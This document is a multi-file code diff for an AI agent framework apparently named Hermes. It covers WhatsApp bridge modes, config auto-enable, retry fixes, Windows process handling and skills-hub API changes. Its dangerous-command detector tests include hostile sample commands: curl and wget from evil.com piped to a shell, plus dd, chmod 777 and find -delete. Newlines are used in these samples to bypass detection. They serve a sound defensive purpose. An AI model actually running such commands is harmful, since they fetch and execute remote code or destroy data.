print_info("⚠️ No allowlist set — anyone who messages your WhatsApp will get a response!")
print_info("Start the gateway with 'hermes gateway' and scan the QR code.")
print_info("Run 'hermes whatsapp' to choose your mode (separate bot number")
print_info("or personal self-chat) and pair via QR code.")
# Gateway reminder
any_messaging = (

View File

@@ -97,15 +97,27 @@ class HonchoClientConfig:
)
linked_hosts = host_block.get("linkedHosts", [])
api_key = raw.get("apiKey") or os.environ.get("HONCHO_API_KEY")
# Auto-enable when API key is present (unless explicitly disabled)
# This matches user expectations: setting an API key should activate the feature.
explicit_enabled = raw.get("enabled")
if explicit_enabled is None:
# Not explicitly set in config -> auto-enable if API key exists
enabled = bool(api_key)
else:
# Respect explicit setting
enabled = explicit_enabled
return cls(
host=host,
workspace_id=workspace,
api_key=raw.get("apiKey") or os.environ.get("HONCHO_API_KEY"),
api_key=api_key,
environment=raw.get("environment", "production"),
peer_name=raw.get("peerName"),
ai_peer=ai_peer,
linked_hosts=linked_hosts,
enabled=raw.get("enabled", False),
enabled=enabled,
save_messages=raw.get("saveMessages", True),
context_tokens=raw.get("contextTokens") or host_block.get("contextTokens"),
session_strategy=raw.get("sessionStrategy", "per-directory"),

View File

@@ -2273,6 +2273,7 @@ class AIAgent:
api_msg["reasoning_content"] = reasoning
api_msg.pop("reasoning", None)
api_msg.pop("finish_reason", None)
api_msg.pop("_flush_sentinel", None)
api_messages.append(api_msg)
if self._cached_system_prompt:
@@ -2441,7 +2442,7 @@ class AIAgent:
if self.tool_progress_callback:
try:
preview = _build_tool_preview(function_name, function_args)
self.tool_progress_callback(function_name, preview)
self.tool_progress_callback(function_name, preview, function_args)
except Exception as cb_err:
logging.debug(f"Tool progress callback error: {cb_err}")
@@ -2776,8 +2777,8 @@ class AIAgent:
self._turns_since_memory = 0
self._iters_since_skill = 0
# Initialize conversation
messages = conversation_history or []
# Initialize conversation (copy to avoid mutating the caller's list)
messages = list(conversation_history) if conversation_history else []
# Hydrate todo store from conversation history (gateway creates a fresh
# AIAgent per message, so the in-memory store is empty -- we need to
@@ -3067,7 +3068,7 @@ class AIAgent:
print(f"{self.log_prefix} 📝 Provider message: {error_msg[:200]}")
print(f"{self.log_prefix} ⏱️ Response time: {api_duration:.2f}s (fast response often indicates rate limiting)")
if retry_count > max_retries:
if retry_count >= max_retries:
print(f"{self.log_prefix}❌ Max retries ({max_retries}) exceeded for invalid responses. Giving up.")
logging.error(f"{self.log_prefix}Invalid API response after {max_retries} retries.")
self._persist_session(messages, conversation_history)
@@ -3339,7 +3340,7 @@ class AIAgent:
"partial": True
}
if retry_count > max_retries:
if retry_count >= max_retries:
print(f"{self.log_prefix}❌ Max retries ({max_retries}) exceeded. Giving up.")
logging.error(f"{self.log_prefix}API call failed after {max_retries} retries. Last error: {api_error}")
logging.error(f"{self.log_prefix}Request details - Messages: {len(api_messages)}, Approx tokens: {approx_tokens:,}")

View File

@@ -34,6 +34,7 @@ function getArg(name, defaultVal) {
const PORT = parseInt(getArg('port', '3000'), 10);
const SESSION_DIR = getArg('session', path.join(process.env.HOME || '~', '.hermes', 'whatsapp', 'session'));
const PAIR_ONLY = args.includes('--pair-only');
const WHATSAPP_MODE = getArg('mode', process.env.WHATSAPP_MODE || 'self-chat'); // "bot" or "self-chat"
const ALLOWED_USERS = (process.env.WHATSAPP_ALLOWED_USERS || '').split(',').map(s => s.trim()).filter(Boolean);
mkdirSync(SESSION_DIR, { recursive: true });
@@ -110,11 +111,16 @@ async function startSocket() {
const isGroup = chatId.endsWith('@g.us');
const senderNumber = senderId.replace(/@.*/, '');
// Skip own messages UNLESS it's a self-chat ("Message Yourself")
// Handle fromMe messages based on mode
if (msg.key.fromMe) {
// Always skip in groups and status
if (isGroup || chatId.includes('status')) continue;
// In DMs: only allow self-chat (remoteJid matches our own number)
if (WHATSAPP_MODE === 'bot') {
// Bot mode: separate number. ALL fromMe are echo-backs of our own replies — skip.
continue;
}
// Self-chat mode: only allow messages in the user's own self-chat
const myNumber = (sock.user?.id || '').replace(/:.*@/, '@').replace(/@.*/, '');
const chatNumber = chatId.replace(/@.*/, '');
const isSelfChat = myNumber && chatNumber === myNumber;
@@ -270,7 +276,7 @@ if (PAIR_ONLY) {
startSocket();
} else {
app.listen(PORT, () => {
console.log(`🌉 WhatsApp bridge listening on port ${PORT}`);
console.log(`🌉 WhatsApp bridge listening on port ${PORT} (mode: ${WHATSAPP_MODE})`);
console.log(`📁 Session stored in: ${SESSION_DIR}`);
if (ALLOWED_USERS.length > 0) {
console.log(`🔒 Allowed users: ${ALLOWED_USERS.join(', ')}`);

View File

@@ -14,6 +14,18 @@ if str(PROJECT_ROOT) not in sys.path:
sys.path.insert(0, str(PROJECT_ROOT))
@pytest.fixture(autouse=True)
def _isolate_hermes_home(tmp_path, monkeypatch):
"""Redirect HERMES_HOME to a temp dir so tests never write to ~/.hermes/."""
fake_home = tmp_path / "hermes_test"
fake_home.mkdir()
(fake_home / "sessions").mkdir()
(fake_home / "cron").mkdir()
(fake_home / "memories").mkdir()
(fake_home / "skills").mkdir()
monkeypatch.setenv("HERMES_HOME", str(fake_home))
@pytest.fixture()
def tmp_dir(tmp_path):
"""Provide a temporary directory that is cleaned up automatically."""

View File

@@ -0,0 +1,105 @@
"""Tests for Honcho client configuration."""
import json
import os
import tempfile
from pathlib import Path
import pytest
from honcho_integration.client import HonchoClientConfig
class TestHonchoClientConfigAutoEnable:
"""Test auto-enable behavior when API key is present."""
def test_auto_enables_when_api_key_present_no_explicit_enabled(self, tmp_path):
"""When API key exists and enabled is not set, should auto-enable."""
config_path = tmp_path / "config.json"
config_path.write_text(json.dumps({
"apiKey": "test-api-key-12345",
# Note: no "enabled" field
}))
cfg = HonchoClientConfig.from_global_config(config_path=config_path)
assert cfg.api_key == "test-api-key-12345"
assert cfg.enabled is True # Auto-enabled because API key exists
def test_respects_explicit_enabled_false(self, tmp_path):
"""When enabled is explicitly False, should stay disabled even with API key."""
config_path = tmp_path / "config.json"
config_path.write_text(json.dumps({
"apiKey": "test-api-key-12345",
"enabled": False, # Explicitly disabled
}))
cfg = HonchoClientConfig.from_global_config(config_path=config_path)
assert cfg.api_key == "test-api-key-12345"
assert cfg.enabled is False # Respects explicit setting
def test_respects_explicit_enabled_true(self, tmp_path):
"""When enabled is explicitly True, should be enabled."""
config_path = tmp_path / "config.json"
config_path.write_text(json.dumps({
"apiKey": "test-api-key-12345",
"enabled": True,
}))
cfg = HonchoClientConfig.from_global_config(config_path=config_path)
assert cfg.api_key == "test-api-key-12345"
assert cfg.enabled is True
def test_disabled_when_no_api_key_and_no_explicit_enabled(self, tmp_path):
"""When no API key and enabled not set, should be disabled."""
config_path = tmp_path / "config.json"
config_path.write_text(json.dumps({
"workspace": "test",
# No apiKey, no enabled
}))
# Clear env var if set
env_key = os.environ.pop("HONCHO_API_KEY", None)
try:
cfg = HonchoClientConfig.from_global_config(config_path=config_path)
assert cfg.api_key is None
assert cfg.enabled is False # No API key = not enabled
finally:
if env_key:
os.environ["HONCHO_API_KEY"] = env_key
def test_auto_enables_with_env_var_api_key(self, tmp_path, monkeypatch):
"""When API key is in env var (not config), should auto-enable."""
config_path = tmp_path / "config.json"
config_path.write_text(json.dumps({
"workspace": "test",
# No apiKey in config
}))
monkeypatch.setenv("HONCHO_API_KEY", "env-api-key-67890")
cfg = HonchoClientConfig.from_global_config(config_path=config_path)
assert cfg.api_key == "env-api-key-67890"
assert cfg.enabled is True # Auto-enabled from env var API key
def test_from_env_always_enabled(self, monkeypatch):
"""from_env() should always set enabled=True."""
monkeypatch.setenv("HONCHO_API_KEY", "env-test-key")
cfg = HonchoClientConfig.from_env()
assert cfg.api_key == "env-test-key"
assert cfg.enabled is True
def test_falls_back_to_env_when_no_config_file(self, tmp_path, monkeypatch):
"""When config file doesn't exist, should fall back to from_env()."""
nonexistent = tmp_path / "nonexistent.json"
monkeypatch.setenv("HONCHO_API_KEY", "fallback-key")
cfg = HonchoClientConfig.from_global_config(config_path=nonexistent)
assert cfg.api_key == "fallback-key"
assert cfg.enabled is True # from_env() sets enabled=True

View File

@@ -758,3 +758,140 @@ class TestRunConversation:
)
result = agent.run_conversation("search something")
mock_compress.assert_called_once()
class TestRetryExhaustion:
"""Regression: retry_count > max_retries was dead code (off-by-one).
When retries were exhausted the condition never triggered, causing
the loop to exit and fall through to response.choices[0] on an
invalid response, raising IndexError.
"""
def _setup_agent(self, agent):
agent._cached_system_prompt = "You are helpful."
agent._use_prompt_caching = False
agent.tool_delay = 0
agent.compression_enabled = False
agent.save_trajectories = False
@staticmethod
def _make_fast_time_mock():
"""Return a mock time module where sleep loops exit instantly."""
mock_time = MagicMock()
_t = [1000.0]
def _advancing_time():
_t[0] += 500.0 # jump 500s per call so sleep_end is always in the past
return _t[0]
mock_time.time.side_effect = _advancing_time
mock_time.sleep = MagicMock() # no-op
mock_time.monotonic.return_value = 12345.0
return mock_time
def test_invalid_response_returns_error_not_crash(self, agent):
"""Exhausted retries on invalid (empty choices) response must not IndexError."""
self._setup_agent(agent)
# Return response with empty choices every time
bad_resp = SimpleNamespace(
choices=[],
model="test/model",
usage=None,
)
agent.client.chat.completions.create.return_value = bad_resp
with (
patch.object(agent, "_persist_session"),
patch.object(agent, "_save_trajectory"),
patch.object(agent, "_cleanup_task_resources"),
patch("run_agent.time", self._make_fast_time_mock()),
):
result = agent.run_conversation("hello")
assert result.get("failed") is True or result.get("completed") is False
def test_api_error_raises_after_retries(self, agent):
"""Exhausted retries on API errors must raise, not fall through."""
self._setup_agent(agent)
agent.client.chat.completions.create.side_effect = RuntimeError("rate limited")
with (
patch.object(agent, "_persist_session"),
patch.object(agent, "_save_trajectory"),
patch.object(agent, "_cleanup_task_resources"),
patch("run_agent.time", self._make_fast_time_mock()),
):
with pytest.raises(RuntimeError, match="rate limited"):
agent.run_conversation("hello")
# ---------------------------------------------------------------------------
# Flush sentinel leak
# ---------------------------------------------------------------------------
class TestFlushSentinelNotLeaked:
"""_flush_sentinel must be stripped before sending messages to the API."""
def test_flush_sentinel_stripped_from_api_messages(self, agent_with_memory_tool):
"""Verify _flush_sentinel is not sent to the API provider."""
agent = agent_with_memory_tool
agent._memory_store = MagicMock()
agent._memory_flush_min_turns = 1
agent._user_turn_count = 10
agent._cached_system_prompt = "system"
messages = [
{"role": "user", "content": "hello"},
{"role": "assistant", "content": "hi"},
{"role": "user", "content": "remember this"},
]
# Mock the API to return a simple response (no tool calls)
mock_msg = SimpleNamespace(content="OK", tool_calls=None)
mock_choice = SimpleNamespace(message=mock_msg)
mock_response = SimpleNamespace(choices=[mock_choice])
agent.client.chat.completions.create.return_value = mock_response
# Bypass auxiliary client so flush uses agent.client directly
with patch("agent.auxiliary_client.get_text_auxiliary_client", return_value=(None, None)):
agent.flush_memories(messages, min_turns=0)
# Check what was actually sent to the API
call_args = agent.client.chat.completions.create.call_args
assert call_args is not None, "flush_memories never called the API"
api_messages = call_args.kwargs.get("messages") or call_args[1].get("messages")
for msg in api_messages:
assert "_flush_sentinel" not in msg, (
f"_flush_sentinel leaked to API in message: {msg}"
)
# ---------------------------------------------------------------------------
# Conversation history mutation
# ---------------------------------------------------------------------------
class TestConversationHistoryNotMutated:
"""run_conversation must not mutate the caller's conversation_history list."""
def test_caller_list_unchanged_after_run(self, agent):
"""Passing conversation_history should not modify the original list."""
history = [
{"role": "user", "content": "previous question"},
{"role": "assistant", "content": "previous answer"},
]
original_len = len(history)
resp = _mock_response(content="new answer", finish_reason="stop")
agent.client.chat.completions.create.return_value = resp
with (
patch.object(agent, "_persist_session"),
patch.object(agent, "_save_trajectory"),
patch.object(agent, "_cleanup_task_resources"),
):
result = agent.run_conversation("new question", conversation_history=history)
# Caller's list must be untouched
assert len(history) == original_len, (
f"conversation_history was mutated: expected {original_len} items, got {len(history)}"
)
# Result should have more messages than the original history
assert len(result["messages"]) > original_len

View File

@@ -89,6 +89,38 @@ def test_resolve_runtime_provider_auto_uses_custom_config_base_url(monkeypatch):
assert resolved["base_url"] == "https://custom.example/v1"
def test_openrouter_key_takes_priority_over_openai_key(monkeypatch):
"""OPENROUTER_API_KEY should be used over OPENAI_API_KEY when both are set.
Regression test for #289: users with OPENAI_API_KEY in .bashrc had it
sent to OpenRouter instead of their OPENROUTER_API_KEY.
"""
monkeypatch.setattr(rp, "resolve_provider", lambda *a, **k: "openrouter")
monkeypatch.setattr(rp, "_get_model_config", lambda: {})
monkeypatch.delenv("OPENAI_BASE_URL", raising=False)
monkeypatch.delenv("OPENROUTER_BASE_URL", raising=False)
monkeypatch.setenv("OPENAI_API_KEY", "sk-openai-should-lose")
monkeypatch.setenv("OPENROUTER_API_KEY", "sk-or-should-win")
resolved = rp.resolve_runtime_provider(requested="openrouter")
assert resolved["api_key"] == "sk-or-should-win"
def test_openai_key_used_when_no_openrouter_key(monkeypatch):
"""OPENAI_API_KEY is used as fallback when OPENROUTER_API_KEY is not set."""
monkeypatch.setattr(rp, "resolve_provider", lambda *a, **k: "openrouter")
monkeypatch.setattr(rp, "_get_model_config", lambda: {})
monkeypatch.delenv("OPENAI_BASE_URL", raising=False)
monkeypatch.delenv("OPENROUTER_BASE_URL", raising=False)
monkeypatch.setenv("OPENAI_API_KEY", "sk-openai-fallback")
monkeypatch.delenv("OPENROUTER_API_KEY", raising=False)
resolved = rp.resolve_runtime_provider(requested="openrouter")
assert resolved["api_key"] == "sk-openai-fallback"
def test_resolve_requested_provider_precedence(monkeypatch):
monkeypatch.setenv("HERMES_INFERENCE_PROVIDER", "nous")
monkeypatch.setattr(rp, "_get_model_config", lambda: {"provider": "openai-codex"})

View File

@@ -155,3 +155,37 @@ class TestRmRecursiveFlagVariants:
def test_sudo_rm_rf(self):
assert detect_dangerous_command("sudo rm -rf /tmp")[0] is True
class TestMultilineBypass:
"""Newlines in commands must not bypass dangerous pattern detection."""
def test_curl_pipe_sh_with_newline(self):
cmd = "curl http://evil.com \\\n| sh"
is_dangerous, _, desc = detect_dangerous_command(cmd)
assert is_dangerous is True, f"multiline curl|sh bypass not caught: {cmd!r}"
def test_wget_pipe_bash_with_newline(self):
cmd = "wget http://evil.com \\\n| bash"
is_dangerous, _, desc = detect_dangerous_command(cmd)
assert is_dangerous is True, f"multiline wget|bash bypass not caught: {cmd!r}"
def test_dd_with_newline(self):
cmd = "dd \\\nif=/dev/sda of=/tmp/disk.img"
is_dangerous, _, desc = detect_dangerous_command(cmd)
assert is_dangerous is True, f"multiline dd bypass not caught: {cmd!r}"
def test_chmod_recursive_with_newline(self):
cmd = "chmod --recursive \\\n777 /var"
is_dangerous, _, desc = detect_dangerous_command(cmd)
assert is_dangerous is True, f"multiline chmod bypass not caught: {cmd!r}"
def test_find_exec_rm_with_newline(self):
cmd = "find /tmp \\\n-exec rm {} \\;"
is_dangerous, _, desc = detect_dangerous_command(cmd)
assert is_dangerous is True, f"multiline find -exec rm bypass not caught: {cmd!r}"
def test_find_delete_with_newline(self):
cmd = "find . -name '*.tmp' \\\n-delete"
is_dangerous, _, desc = detect_dangerous_command(cmd)
assert is_dangerous is True, f"multiline find -delete bypass not caught: {cmd!r}"

View File

@@ -26,9 +26,11 @@ class TestDebugSessionDisabled:
def test_save_noop(self, tmp_path):
ds = DebugSession("test_tool", env_var="FAKE_DEBUG_VAR_XYZ")
ds.log_dir = tmp_path
log_dir = tmp_path / "debug_logs"
log_dir.mkdir()
ds.log_dir = log_dir
ds.save()
assert list(tmp_path.iterdir()) == []
assert list(log_dir.iterdir()) == []
def test_get_session_info_disabled(self):
ds = DebugSession("test_tool", env_var="FAKE_DEBUG_VAR_XYZ")

View File

@@ -67,10 +67,18 @@ class TestReadResult:
def test_to_dict_omits_defaults(self):
r = ReadResult()
d = r.to_dict()
assert "content" not in d # empty string omitted
assert "error" not in d # None omitted
assert "similar_files" not in d # empty list omitted
def test_to_dict_preserves_empty_content(self):
"""Empty file should still have content key in the dict."""
r = ReadResult(content="", total_lines=0, file_size=0)
d = r.to_dict()
assert "content" in d
assert d["content"] == ""
assert d["total_lines"] == 0
assert d["file_size"] == 0
def test_to_dict_includes_values(self):
r = ReadResult(content="hello", total_lines=10, file_size=50, truncated=True)
d = r.to_dict()

View File

@@ -0,0 +1,126 @@
#!/usr/bin/env python3
import unittest
from unittest.mock import patch
from tools.skills_hub import ClawHubSource
class _MockResponse:
def __init__(self, status_code=200, json_data=None, text=""):
self.status_code = status_code
self._json_data = json_data
self.text = text
def json(self):
return self._json_data
class TestClawHubSource(unittest.TestCase):
def setUp(self):
self.src = ClawHubSource()
@patch("tools.skills_hub._write_index_cache")
@patch("tools.skills_hub._read_index_cache", return_value=None)
@patch("tools.skills_hub.httpx.get")
def test_search_uses_new_endpoint_and_parses_items(self, mock_get, _mock_read_cache, _mock_write_cache):
mock_get.return_value = _MockResponse(
status_code=200,
json_data={
"items": [
{
"slug": "caldav-calendar",
"displayName": "CalDAV Calendar",
"summary": "Calendar integration",
"tags": ["calendar", "productivity"],
}
]
},
)
results = self.src.search("caldav", limit=5)
self.assertEqual(len(results), 1)
self.assertEqual(results[0].identifier, "caldav-calendar")
self.assertEqual(results[0].name, "CalDAV Calendar")
self.assertEqual(results[0].description, "Calendar integration")
mock_get.assert_called_once()
args, kwargs = mock_get.call_args
self.assertTrue(args[0].endswith("/skills"))
self.assertEqual(kwargs["params"], {"search": "caldav", "limit": 5})
@patch("tools.skills_hub.httpx.get")
def test_inspect_maps_display_name_and_summary(self, mock_get):
mock_get.return_value = _MockResponse(
status_code=200,
json_data={
"slug": "caldav-calendar",
"displayName": "CalDAV Calendar",
"summary": "Calendar integration",
"tags": ["calendar"],
},
)
meta = self.src.inspect("caldav-calendar")
self.assertIsNotNone(meta)
self.assertEqual(meta.name, "CalDAV Calendar")
self.assertEqual(meta.description, "Calendar integration")
self.assertEqual(meta.identifier, "caldav-calendar")
@patch("tools.skills_hub.httpx.get")
def test_fetch_resolves_latest_version_and_downloads_raw_files(self, mock_get):
def side_effect(url, *args, **kwargs):
if url.endswith("/skills/caldav-calendar"):
return _MockResponse(
status_code=200,
json_data={
"slug": "caldav-calendar",
"latestVersion": {"version": "1.0.1"},
},
)
if url.endswith("/skills/caldav-calendar/versions/1.0.1"):
return _MockResponse(
status_code=200,
json_data={
"files": [
{"path": "SKILL.md", "rawUrl": "https://files.example/skill-md"},
{"path": "README.md", "content": "hello"},
]
},
)
if url == "https://files.example/skill-md":
return _MockResponse(status_code=200, text="# Skill")
return _MockResponse(status_code=404, json_data={})
mock_get.side_effect = side_effect
bundle = self.src.fetch("caldav-calendar")
self.assertIsNotNone(bundle)
self.assertEqual(bundle.name, "caldav-calendar")
self.assertIn("SKILL.md", bundle.files)
self.assertEqual(bundle.files["SKILL.md"], "# Skill")
self.assertEqual(bundle.files["README.md"], "hello")
@patch("tools.skills_hub.httpx.get")
def test_fetch_falls_back_to_versions_list(self, mock_get):
def side_effect(url, *args, **kwargs):
if url.endswith("/skills/caldav-calendar"):
return _MockResponse(status_code=200, json_data={"slug": "caldav-calendar"})
if url.endswith("/skills/caldav-calendar/versions"):
return _MockResponse(status_code=200, json_data=[{"version": "2.0.0"}])
if url.endswith("/skills/caldav-calendar/versions/2.0.0"):
return _MockResponse(status_code=200, json_data={"files": {"SKILL.md": "# Skill"}})
return _MockResponse(status_code=404, json_data={})
mock_get.side_effect = side_effect
bundle = self.src.fetch("caldav-calendar")
self.assertIsNotNone(bundle)
self.assertEqual(bundle.files["SKILL.md"], "# Skill")
if __name__ == "__main__":
unittest.main()

View File

@@ -0,0 +1,62 @@
"""Tests for get_active_environments_info disk usage calculation."""
from pathlib import Path
from unittest.mock import patch, MagicMock
import pytest
from tools.terminal_tool import get_active_environments_info
# 1 MiB of data so the rounded MB value is clearly distinguishable
_1MB = b"x" * (1024 * 1024)
@pytest.fixture()
def fake_scratch(tmp_path):
"""Create fake hermes scratch directories with known sizes."""
# Task A: 1 MiB
task_a_dir = tmp_path / "hermes-sandbox-aaaaaaaa"
task_a_dir.mkdir()
(task_a_dir / "data.bin").write_bytes(_1MB)
# Task B: 1 MiB
task_b_dir = tmp_path / "hermes-sandbox-bbbbbbbb"
task_b_dir.mkdir()
(task_b_dir / "data.bin").write_bytes(_1MB)
return tmp_path
class TestDiskUsageGlob:
def test_only_counts_matching_task_dirs(self, fake_scratch):
"""Each task should only count its own directories, not all hermes-* dirs."""
fake_envs = {
"aaaaaaaa-1111-2222-3333-444444444444": MagicMock(),
}
with (
patch("tools.terminal_tool._active_environments", fake_envs),
patch("tools.terminal_tool._get_scratch_dir", return_value=fake_scratch),
):
info = get_active_environments_info()
# Task A only: ~1.0 MB. With the bug (hardcoded hermes-*),
# it would also count task B -> ~2.0 MB.
assert info["total_disk_usage_mb"] == pytest.approx(1.0, abs=0.1)
def test_multiple_tasks_no_double_counting(self, fake_scratch):
"""With 2 active tasks, each should count only its own dirs."""
fake_envs = {
"aaaaaaaa-1111-2222-3333-444444444444": MagicMock(),
"bbbbbbbb-5555-6666-7777-888888888888": MagicMock(),
}
with (
patch("tools.terminal_tool._active_environments", fake_envs),
patch("tools.terminal_tool._get_scratch_dir", return_value=fake_scratch),
):
info = get_active_environments_info()
# Should be ~2.0 MB total (1 MB per task).
# With the bug, each task globs everything -> ~4.0 MB.
assert info["total_disk_usage_mb"] == pytest.approx(2.0, abs=0.1)

View File

@@ -0,0 +1,80 @@
"""Tests for Windows compatibility of process management code.
Verifies that os.setsid and os.killpg are never called unconditionally,
and that each module uses a platform guard before invoking POSIX-only functions.
"""
import ast
import pytest
from pathlib import Path
# Files that must have Windows-safe process management
GUARDED_FILES = [
"tools/environments/local.py",
"tools/process_registry.py",
"tools/code_execution_tool.py",
"gateway/platforms/whatsapp.py",
]
PROJECT_ROOT = Path(__file__).resolve().parent.parent.parent
def _get_preexec_fn_values(filepath: Path) -> list:
"""Find all preexec_fn= keyword arguments in Popen calls."""
source = filepath.read_text(encoding="utf-8")
tree = ast.parse(source, filename=str(filepath))
values = []
for node in ast.walk(tree):
if isinstance(node, ast.keyword) and node.arg == "preexec_fn":
values.append(ast.dump(node.value))
return values
class TestNoUnconditionalSetsid:
"""preexec_fn must never be a bare os.setsid reference."""
@pytest.mark.parametrize("relpath", GUARDED_FILES)
def test_preexec_fn_is_guarded(self, relpath):
filepath = PROJECT_ROOT / relpath
if not filepath.exists():
pytest.skip(f"{relpath} not found")
values = _get_preexec_fn_values(filepath)
for val in values:
# A bare os.setsid would be: Attribute(value=Name(id='os'), attr='setsid')
assert "attr='setsid'" not in val or "IfExp" in val or "None" in val, (
f"{relpath} has unconditional preexec_fn=os.setsid"
)
class TestIsWindowsConstant:
"""Each guarded file must define _IS_WINDOWS."""
@pytest.mark.parametrize("relpath", GUARDED_FILES)
def test_has_is_windows(self, relpath):
filepath = PROJECT_ROOT / relpath
if not filepath.exists():
pytest.skip(f"{relpath} not found")
source = filepath.read_text(encoding="utf-8")
assert "_IS_WINDOWS" in source, (
f"{relpath} missing _IS_WINDOWS platform guard"
)
class TestKillpgGuarded:
"""os.killpg must always be behind a platform check."""
@pytest.mark.parametrize("relpath", GUARDED_FILES)
def test_no_unguarded_killpg(self, relpath):
filepath = PROJECT_ROOT / relpath
if not filepath.exists():
pytest.skip(f"{relpath} not found")
source = filepath.read_text(encoding="utf-8")
lines = source.splitlines()
for i, line in enumerate(lines):
stripped = line.strip()
if "os.killpg" in stripped or "os.getpgid" in stripped:
# Check that there's an _IS_WINDOWS guard in the surrounding context
context = "\n".join(lines[max(0, i - 15):i + 1])
assert "_IS_WINDOWS" in context or "else:" in context, (
f"{relpath}:{i + 1} has unguarded os.killpg/os.getpgid call"
)

View File

@@ -60,7 +60,7 @@ def detect_dangerous_command(command: str) -> tuple:
"""
command_lower = command.lower()
for pattern, description in DANGEROUS_PATTERNS:
if re.search(pattern, command_lower, re.IGNORECASE):
if re.search(pattern, command_lower, re.IGNORECASE | re.DOTALL):
pattern_key = pattern.split(r'\b')[1] if r'\b' in pattern else pattern[:20]
return (True, pattern_key, description)
return (False, None, None)

View File

@@ -20,6 +20,7 @@ Platform: Linux / macOS only (Unix domain sockets). Disabled on Windows.
import json
import logging
import os
import platform
import signal
import socket
import subprocess
@@ -28,6 +29,8 @@ import tempfile
import threading
import time
import uuid
_IS_WINDOWS = platform.system() == "Windows"
from typing import Any, Dict, List, Optional
# Availability gate: UDS requires a POSIX OS
@@ -405,7 +408,7 @@ def execute_code(
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.DEVNULL,
preexec_fn=os.setsid,
preexec_fn=None if _IS_WINDOWS else os.setsid,
)
# --- Poll loop: watch for exit, timeout, and interrupt ---
@@ -514,7 +517,10 @@ def execute_code(
def _kill_process_group(proc, escalate: bool = False):
"""Kill the child and its entire process group."""
try:
os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
if _IS_WINDOWS:
proc.terminate()
else:
os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
except (ProcessLookupError, PermissionError):
try:
proc.kill()
@@ -527,7 +533,10 @@ def _kill_process_group(proc, escalate: bool = False):
proc.wait(timeout=5)
except subprocess.TimeoutExpired:
try:
os.killpg(os.getpgid(proc.pid), signal.SIGKILL)
if _IS_WINDOWS:
proc.kill()
else:
os.killpg(os.getpgid(proc.pid), signal.SIGKILL)
except (ProcessLookupError, PermissionError):
try:
proc.kill()

View File

@@ -1,12 +1,15 @@
"""Local execution environment with interrupt support and non-blocking I/O."""
import os
import platform
import shutil
import signal
import subprocess
import threading
import time
_IS_WINDOWS = platform.system() == "Windows"
from tools.environments.base import BaseEnvironment
# Noise lines emitted by interactive shells when stdin is not a terminal.
@@ -74,7 +77,7 @@ class LocalEnvironment(BaseEnvironment):
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
stdin=subprocess.PIPE if stdin_data is not None else subprocess.DEVNULL,
preexec_fn=os.setsid,
preexec_fn=None if _IS_WINDOWS else os.setsid,
)
if stdin_data is not None:
@@ -107,12 +110,15 @@ class LocalEnvironment(BaseEnvironment):
while proc.poll() is None:
if _interrupt_event.is_set():
try:
pgid = os.getpgid(proc.pid)
os.killpg(pgid, signal.SIGTERM)
try:
proc.wait(timeout=1.0)
except subprocess.TimeoutExpired:
os.killpg(pgid, signal.SIGKILL)
if _IS_WINDOWS:
proc.terminate()
else:
pgid = os.getpgid(proc.pid)
os.killpg(pgid, signal.SIGTERM)
try:
proc.wait(timeout=1.0)
except subprocess.TimeoutExpired:
os.killpg(pgid, signal.SIGKILL)
except (ProcessLookupError, PermissionError):
proc.kill()
reader.join(timeout=2)
@@ -122,7 +128,10 @@ class LocalEnvironment(BaseEnvironment):
}
if time.monotonic() > deadline:
try:
os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
if _IS_WINDOWS:
proc.terminate()
else:
os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
except (ProcessLookupError, PermissionError):
proc.kill()
reader.join(timeout=2)

View File

@@ -107,7 +107,7 @@ class ReadResult:
similar_files: List[str] = field(default_factory=list)
def to_dict(self) -> dict:
return {k: v for k, v in self.__dict__.items() if v is not None and v != [] and v != ""}
return {k: v for k, v in self.__dict__.items() if v is not None and v != []}
@dataclass

View File

@@ -32,6 +32,7 @@ Usage:
import json
import logging
import os
import platform
import shlex
import shutil
import signal
@@ -39,6 +40,8 @@ import subprocess
import threading
import time
import uuid
_IS_WINDOWS = platform.system() == "Windows"
from dataclasses import dataclass, field
from pathlib import Path
from typing import Any, Dict, List, Optional
@@ -199,7 +202,7 @@ class ProcessRegistry:
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
stdin=subprocess.PIPE,
preexec_fn=os.setsid,
preexec_fn=None if _IS_WINDOWS else os.setsid,
)
session.process = proc
@@ -551,7 +554,10 @@ class ProcessRegistry:
elif session.process:
# Local process -- kill the process group
try:
os.killpg(os.getpgid(session.process.pid), signal.SIGTERM)
if _IS_WINDOWS:
session.process.terminate()
else:
os.killpg(os.getpgid(session.process.pid), signal.SIGTERM)
except (ProcessLookupError, PermissionError):
session.process.kill()
elif session.env_ref and session.pid:

View File

@@ -520,8 +520,8 @@ class ClawHubSource(SkillSource):
try:
resp = httpx.get(
f"{self.BASE_URL}/skills/search",
params={"q": query, "limit": limit},
f"{self.BASE_URL}/skills",
params={"search": query, "limit": limit},
timeout=15,
)
if resp.status_code != 200:
@@ -530,82 +530,154 @@ class ClawHubSource(SkillSource):
except (httpx.HTTPError, json.JSONDecodeError):
return []
skills_data = data.get("skills", data) if isinstance(data, dict) else data
skills_data = data.get("items", data) if isinstance(data, dict) else data
if not isinstance(skills_data, list):
return []
results = []
for item in skills_data[:limit]:
name = item.get("name", item.get("slug", ""))
if not name:
slug = item.get("slug")
if not slug:
continue
meta = SkillMeta(
name=name,
description=item.get("description", ""),
display_name = item.get("displayName") or item.get("name") or slug
summary = item.get("summary") or item.get("description") or ""
tags = item.get("tags", [])
if not isinstance(tags, list):
tags = []
results.append(SkillMeta(
name=display_name,
description=summary,
source="clawhub",
identifier=item.get("slug", name),
identifier=slug,
trust_level="community",
tags=item.get("tags", []),
)
results.append(meta)
tags=[str(t) for t in tags],
))
_write_index_cache(cache_key, [_skill_meta_to_dict(s) for s in results])
return results
def fetch(self, identifier: str) -> Optional[SkillBundle]:
try:
resp = httpx.get(
f"{self.BASE_URL}/skills/{identifier}/versions/latest/files",
timeout=30,
)
if resp.status_code != 200:
return None
data = resp.json()
except (httpx.HTTPError, json.JSONDecodeError):
slug = identifier.split("/")[-1]
skill_data = self._get_json(f"{self.BASE_URL}/skills/{slug}")
if not isinstance(skill_data, dict):
return None
files: Dict[str, str] = {}
file_list = data.get("files", data) if isinstance(data, dict) else data
if isinstance(file_list, list):
for f in file_list:
fname = f.get("name", f.get("path", ""))
